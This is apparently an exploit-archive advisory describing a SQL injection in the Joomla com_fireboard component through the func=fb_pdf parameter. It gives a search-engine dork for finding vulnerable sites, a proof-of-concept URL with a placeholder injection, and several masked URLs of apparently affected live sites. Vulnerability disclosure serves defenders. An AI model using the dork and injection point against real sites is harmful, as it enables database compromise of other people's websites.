Joomla Component (com_fireboard) SQL Injection Vulnerability

Joomla com_fireboard - SQL Injection Vulnerability

Details:
========
A SQL Injection vulnerability is detected in the com_fireboard module of the joomla Content Management System.
Remote attackers & low privileged user accounts can execute/inject own sql commands to compromise the application dbms.
The vulnerability is located in the com_fireboard module with the bound vulnerable func fb_ parameter.
Successful exploitation of the vulnerability result in dbms (Server) or application (Web) compromise.
 
Vulnerable Module(s):
                [+] index.php?option=com_fireboard
 
Vulnerable Parameter(s):       
                [+] func fb_
 
 
Proof of Concept:
=================
The sql injection vulnerability can be exploited by remote attackers without user inter action & with low
privileged user account. For demonstration or reproduce ...
 
Dork(s):
inurl:"id=" & intext:"/com_fireboard/"
 
PoC:
http://[TARGET]/index.php?option=com_fireboard&Itemid=0&id=1&catid=0&func=fb_pdf'[SQL-INJECTION]
 
Reference(s):
xxx.com/index.php?option=com_fireboard&Itemid=0&id=1&catid=5&func=fb_pdf'[SQL-INJECTION]
xxx.com/2012/index.php?option=com_fireboard&Itemid=79&id=1&catid=2&func=fb_pdf'[SQL-INJECTION]
xxx.com/fireboard/index.php?option=com_fireboard&Itemid=38&id=22111&catid=16&func=fb_pdf'[SQL-INJECTION]
xxx.com/board/index.php?option=com_fireboard&Itemid=54&id=70122&catid=12&func=fb_pdf'[SQL-INJECTION]
xxx.com/jmfireboard/index.php?option=com_fireboard&Itemid=54&id=70122&catid=12&func=fb_pdf'[SQL-INJECTION]
 
 
Risk:
=====
The security risk of the remote sql injection vulnerability is estimated as high(+).



#  0day.today [2018-01-04]  #